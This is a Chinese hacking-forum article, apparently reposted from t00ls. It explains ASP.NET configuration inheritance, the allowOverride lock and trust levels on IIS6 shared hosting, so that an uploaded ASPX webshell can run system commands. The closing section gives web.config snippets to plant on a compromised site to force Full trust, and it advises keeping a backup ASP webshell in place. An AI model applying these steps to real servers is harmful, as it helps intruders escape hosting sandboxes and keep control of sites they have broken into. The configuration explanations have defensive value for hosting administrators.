我的这篇关于执行aspx大马时出现的错误信息原理的介绍发表后引来了不少同学的讨论，之后backerhack同学发表了突破asp.net配置文件web.config安全限制执行cmd在他的帖子里，起先我并不认同他的突破方法，因为他写的很模糊，没有具体实例，也没有写到突破的关键点和方法。关于他的观点，驱使我重新去全面的学习并研究ASP.NET 代码访问安全性。我重新去查找翻看了microsoft官方的ASP.NET 的安全配置管理和其他资料，经过在本地虚拟机和星外主机上反复测试，（IIS6.0+2003）然后总结出这篇文章。以后有同学碰到这种的情况可以参考此帖，也欢迎学习ASP.NET的同学回帖发表你们的看法。
学习ASP.NET的同学都知道ASP.NET程序在服务端执行的时会加载配置文件中的配置信息，然后再按照配置文件中各节点的设置去执行这些ASP.NET 程序。当程序要读取某个节点或者节点组信息时，是按照以下方式搜索的
1、如果在当前页面所在目录下存在web.config文件，查看是否存在所要查找的节点名称，如果存在返回结果并停止查找。
2、如果当前页面所在目录下不存在web.config文件或者web.config文件中不存在该节点名，则查找它的上级目录，直到网站的根目录。
3、如果网站根目录下不存在web.config文件或者web.config文件中不存在该节点名则在%windir%Microsoft.NETFrameworkv2.0.50727CONFIGweb.config文件中查找。
4、 如果在%windir%Microsoft.NETFrameworkv2.0.50727CONFIGweb.config文件中不存在相应节点，则在%windir%Microsoft.NETFrameworkv2.0.50727CONFIGmachine.config文件中查找。
5、如果仍然没有找到则返回null。
在microsoft官方《保证 ASP.NET 配置的安全》一文中有以下重要的一点：
配置系统在调用自定义配置节处理程序之前设置权限，而且 .NET Framework 无论如何都不会信任该调用。该调用使用应用程序的信任权限来运行。ASP.NET 配置系统信任 %SystemRoot%Microsoft.NETFrameworkversionCONFIG 目录，但是它不信任位于层次结构中较低级别的目录。
这就说明%SystemRoot%Microsoft.NETFrameworkversionCONFIG中的配置文件才是主要配置文件，其配置节点不会被web目录下的web.config中的影响。
并且microsoft官方提供了锁定 ASP.NET 配置设置的元素 <location allowOverride=”false”>（false为属性） 这个元素主要用于锁定配置设置以阻止应用程序级覆盖,以防止它们被子配置文件重写。如果尝试重写 false 配置节中的配置设置，则将引发配置系统错误.所以allowOverride被定义为false属性时，其他子配置文件对该节点的重写都将无效，并且引发配置系统错误。如下图：
（注意这个错误信息默认不会在客户端显示，只有在服务端执行时才会出现）
下面来说说大家最关心的星外主机asp.net安全模式，我查看了多个星外主机asp.net配置文件，发现其中很多在3月9号被重写并锁定.
注意：系统默认配置文件是可以被重写并且没有锁定关键节点
| 01 |
<location allowOverride=”true”> //关键节点可以被重写，没有被锁定。 |
| 04 |
<trustLevel name=”Full”policyFile=”internal”/> //无限制的权限。应用程序可访问任何属于操作系统安全范围的资源。支持所有的特权操作 |
| 05 |
<trustLevel name=”High”policyFile=”web_hightrust.config”/> //不能调用未托管代码，不能调用服务组件。不能写入事件日志，不能访问 Microsoft 消息队列，不能访问 OLE DB 数据源 <trustLevel name=”Medium”policyFile=”web_mediumtrust.config”/> //除上述限制外，还限制访问当前应用程序目录中的文件，不允许访问注册表。 |
| 06 |
<trustLevel name=”Low”policyFile=”web_lowtrust.config”/> //除上述限制外，应用程序不能与 SQL Server 连接，代码不能调用 CodeAccessPermission.Assert（无断言安全权限） |
| 07 |
<trustLevel name=”Minimal”policyFile=”web_minimaltrust.config”/> //仅有执行权限。 |
| 09 |
<trust level=”Full”originUrl=””/> |
系统默认allowOverride=”true”，这时可以使用web目录中的子配置文件对该节点重写。
以下是星外主机asp.net配置文件关键节点：
| 01 |
<location allowOverride=”false”> //关键节点被锁定，其他子配置文件对该节点的重写都将无效 |
| 04 |
<trustLevel name=”Full”policyFile=”internal”/> |
| 05 |
<trustLevel name=”High”policyFile=”web_hightrust.config”/> |
| 06 |
<trustLevel name=”Medium”policyFile=”web_mediumtrust.config”/> |
| 07 |
<trustLevel name=”Low”policyFile=”web_lowtrust.config”/> |
| 08 |
<trustLevel name=”Minimal”policyFile=”web_minimaltrust.config”/> |
| 10 |
<trust level=”Full”originUrl=””/> |
| 11 |
<identity impersonate=”true”/> |
也就是说对星外的asp.net安全模式暂时没有有效的突破方法，但不排除有其他个例。如allowOverride为”true”时，web目录中的对子配置文件该节点的重写是有效的，我们就可以重写配置来突破。
以下是突破代码。。
如果服务器开启net安全模式，站点结构为asp，allowOverride=为true属性时可在网站根目录写入以下内容的web.config文件。即可赋予web目录下执行的ASP.NET代码无限制的权限
<?xml version=”1.0″ encoding=”utf-8″?>
<configuration>
<location allowOverride=”false”>
<system.web>
<securityPolicy>
<trustLevel name=”Full” policyFile=”internal”/>
</securityPolicy>
<trust level=”Full” originUrl=””/>
</system.web>
</location>
</configuration>
如果站点结构为ASP.NET，可在根目录下找到web.config文件，加入以下节点。（注意要先备分原文件，留个asp马，防止站点出错崩溃。）
<location allowOverride=”false”>
<system.web>
<securityPolicy>
<trustLevel name=”Full” policyFile=”internal”/>
</securityPolicy>
<trust level=”Full” originUrl=””/>
</system.web>
</location>
首发t00ls作者康斯坦丁由网络安全攻防研究室(www.91ri.org) 信息安全小组收集整理.
